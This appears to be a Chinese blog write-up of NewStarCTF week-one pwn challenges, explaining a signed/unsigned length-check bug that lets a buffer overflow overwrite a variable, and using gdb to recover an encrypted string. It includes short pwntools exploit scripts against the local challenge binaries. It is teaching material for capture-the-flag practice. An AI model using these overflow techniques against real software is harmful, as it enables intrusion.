NewStarCTF-pwn


week1

overwrite

首先查看文件,保护全开,为64位

放入IDA查看代码,发现关键函数func()

第9-12行代码,首先打印提示信息“pls input the length you want to readin: ”,然后使用__isoc99_scanf函数接收用户输入的一个整数并存入变量nbytes中。接着检查nbytes的值,如果nbytes大于 48,则程序调用exit(0)退出。

第13、14行,打印提示信息“pls input want you want to say: ”,然后使用read函数从标准输入(文件描述符为 0)读取数据,将读取的数据存储到地址为&nbytes_4的内存区域,读取的字节数为nbytes转换为无符号整数后的大小(本题需要小于48)。

我们先来学习一下read()函数,它用于从文件描述符(通常是套接字、文件等)读取数据,读取打开文件内容

#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
  • read() 参数

    • fd

      • 是文件描述符,可以是套接字、文件等读取的文件(标准输入为 0)
    • buf

      • 是一个指向要读取数据的缓冲区的指针,将读取的内容保存的缓冲区
    • count

      • 是要读取的字节数,文件的长度
    • 返回值:

      • 如果成功,返回读取的字节数(可能为 0,表示已经读到文件末尾)。
      • 如果出错,返回 -1,并设置 errno 表示错误原因。

第15行

if ( atoi(nptr) <= 114514 )
  {
    puts("bad ,your wallet is empty");
  }
  else
  {
    puts("oh you have the money to get flag");
    getflag();
  }

如果 nptr 中的字符串被转换为数字且大于 114514,程序会打印 flag,否则会输出钱包空的信息。其中:

函数atoi ()

int atoi(const char *str);

atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数,会扫描参数 nptr字符串,会跳过前面的空白字符(例如空格,tab缩进)等。如果 nptr不能转换成 int 或者 nptr为空字符串,那么将返回 0。特别注意,该函数要求被转换的字符串是按十进制数理解的。atoi输入的字符串对应数字存在大小限制(与int类型大小有关),若其过大可能报错-1。

const char* str1 = "1234";
const char* str2 = "56abc";
const char* str3 = "abc123";
    
int num1 = atoi(str1);  // 转换为整数 1234
int num2 = atoi(str2);  // 转换为整数 56,遇到非数字字符后停止
int num3 = atoi(str3);  // 转换为整数 0,开头没有数字

具体函数查看atoi()参考文档

回到本题,进行漏洞分析:

  1. nptrnbytes_4 之间的偏移是 0x30。如果输入大于 0x30 的正整数,程序将会通过 exit() 退出。
  2. 观察到,read() 函数中使用的是 unsigned int nbytes,但在输入校验时 nbytesint 类型,进行了有符号比较。这里产生了漏洞。
read(0, &nbytes_4, (unsigned int)nbytes);

例如,-1 的 16 进制表示是 0xffffffff,对于有符号整数来说,这是一个负数;但在无符号整数中,它代表一个非常大的正整数。因此,利用这一点,输入一个负数值,可以绕过前面的大小检查,将后续输入的数据覆盖到 nptr,从而完成利用。

exp:

from pwn import *
#context.terminal = ['tmux','splitw','-h']
p = process('./pwn')
#p = remote('ip', port)
p.sendlineafter(b': ', b'-1')
payload = b'a'*0x30 + b'114515'
p.sendafter(b': ', payload)
p.interactive()

观察脚本执行顺序,其顺序为先发送整数-1,使scanf函数接收的整数nbytes的值满足小于48的条件,保持程序的运行,同时利用下面代码使用无符号整型转换的nbytes值比较大小,而无符号的-1又为最大值(0xffffffff)的漏洞,达到想要的效果(后面(unsigned int)nbytes可以给&nbytes_4分配nbytes个字节空间),如果输入一个正整数,那空间必然要小于48,就无法溢出数据到nptr[72]了。

  • 问题1:为什么脚本构造的是0x30个字符a?

答:分析变量的地址及偏移,0x80-0x50=0x30,所以输入0x30(48)个字符后nbytes_4就满了,再输入就会溢出到nptr[]了

 size_t nbytes_4; // [rsp+10h] [rbp-80h] BYREF
  char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
  • 问题2:还多了114515这个数是干嘛的

答:众所周知
\( 114515 > 114514 \\ \)
回去查看程序判断条件,为了使程序执行 getflag()
注意,这里用的是字节型数据(b'114515'而不是整型p64(114515)),见上文atoi(nptr)函数,其接收参数nptr为字符串,之后会转为整型

  • 问题3:为何使用此脚本攻击不会触发金丝雀栈保护

答:输入仅影响了缓冲区和部分其他变量,而未触及金丝雀,虽然代码中使用__readfsqword(0x28u)读取了金丝雀值并存储在v4中,但攻击者构造的payloadb'a'*0x30 + b'114515')在填充缓冲区并溢出时,尚未覆盖到金丝雀所在的位置,当栈空间被耗尽时,才会栈溢出‌。此题的溢出全部在栈内完成,故不会触发金丝雀栈保护。注意区分缓冲区溢出和栈溢出两者之间的区别

gdb

首先进行查看,保护全开,64位

放入IDA查看主函数,发发现代码会不一样,既然叫gdb,那肯定就不能只单纯静态调试了

可以看到程序逻辑是对一串字符串执行了加密操作,然后需要我们输入加密后的内容

对于加密函数,可以发现完全看不懂(确信😢)

所以我们选择动调查看加密后的内容

键入 gdb ./gdb 并运行,先运行程序(命令run),再用 b *$rebase() 下断点(断在call 加密函数处)本题call函数在0x181a处,不同环境下可能不同

其中:b *$rebase()用于设置一个断点

  • bbreak 的简写,设置断点
  • *: 表示解引用操作。用于访问指针指向的内存地址的值
  • $rebase() 是一个 GDB 内置函数,用于将给定的虚拟地址转换为实际的内存地址

综合起来,b *$rebase(0x181a) 的意思是:使用 $rebase(0x181a) 计算出重定位后的地址;然后,在该地址处设置一个断点。

如果用gdb打开直接用b *$rebase(0x181a)会报错

pwndbg> b *$rebase(0x181a)
evaluation of this expression requires the target program to be active
//表示:要对 `$rebase(0x181a)` 这样的表达式设置断点,需要目标程序处于活动(正在运行)的状态。

所以先运行。这里运行程序时遇到一个问题,就是run以后会直接运行到让你输入的那个位置,如果你输入什么了,他就会退出,用ctrl+c退出其函数即可。之后下断点,再run到断点处,这都是dbg的基础操作练习啊。

可以看到,已经运行到call加密函数的位置了

运行到加密函数处,可以发现,rdi 寄存器存的是要加密的内容,rsi 存的是加密的 key

先复制下要加密内容的地址

  • 0x7fffffffd9a7 (不同环境可能不同,此地址为加密内容"0d000721"所指向的地址)

然后使用 ni 指令步进

注:ninnext)的区别在于,ni是按机器指令来执行的。也就是说,ni会执行下一条机器指令,而不是下一行源代码。由于一条源代码行可能对应多条机器指令,所以ni的执行粒度更细。

此时字符串已经完成了加密,我们使用 tel 0x7fffffffd9a7 指令查看字符串(其本身和后继地址)的内容

pwndbg> tel 0x7fffffffd9a7
00:0000│-439 0x7fffffffd9a7 ◂— 0x4557455355431d5d
01:0008│-431 0x7fffffffd9af ◂— 0x6572636573796d00
02:0010│-429 0x7fffffffd9b7 ◂— 'tkey1234567890abcdefghijk'
03:0018│-421 0x7fffffffd9bf ◂— '567890abcdefghijk'
04:0020│-419 0x7fffffffd9c7 ◂— 'cdefghijk'
05:0028│-411 0x7fffffffd9cf ◂— 0x6b /* 'k' */
06:0030│-409 0x7fffffffd9d7 ◂— 0x7ffff7ffe2e000
07:0038│-401 0x7fffffffd9df ◂— 0x7ffff7ffe2e000

其地址内容为一串十六进制数字,不知道是什么,用x指令精准查看指定地址内容

pwndbg> x 0x7fffffffd9a7
0x7fffffffd9a7: "]\035CUSEWE"

文章说b'\x5d\x1d\x43\x55\x53\x45\x57\x45' 便是加密后的内容,经过分析,“]\035CUSEWE”就是加密内容

>>>b'\x5d\x1d\x43\x55\x53\x45\x57\x45' == b']\035CUSEWE'
>>>True

只是要以文章的形式还需要多一步构造过程(本题并未直接显示)所以姑且就直接使用本题所得结果编写脚本

exp

from pwn import *
p = process('./gdb')
elf = ELF('./gdb')
data = b']\035CUSEWE'
p.sendline(data)
p.interactive()

结果

┌──(root㉿kali)-[~/Desktop/New StarCTF/gdb]
└─# python3 act.py
[+] Starting local process './gdb': pid 513654
[*] '/root/Desktop/New StarCTF/gdb/gdb'
...
[*] Switching to interactive mode
[*] Process './gdb' stopped with exit code 0 (pid 513654)
Original: 0d000721
Input your encrypted data: Congratulations!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\...

week2


week3


week4

posted @ 2024-11-13 00:56  神犬侠义  阅读(99)  评论(0)    收藏  举报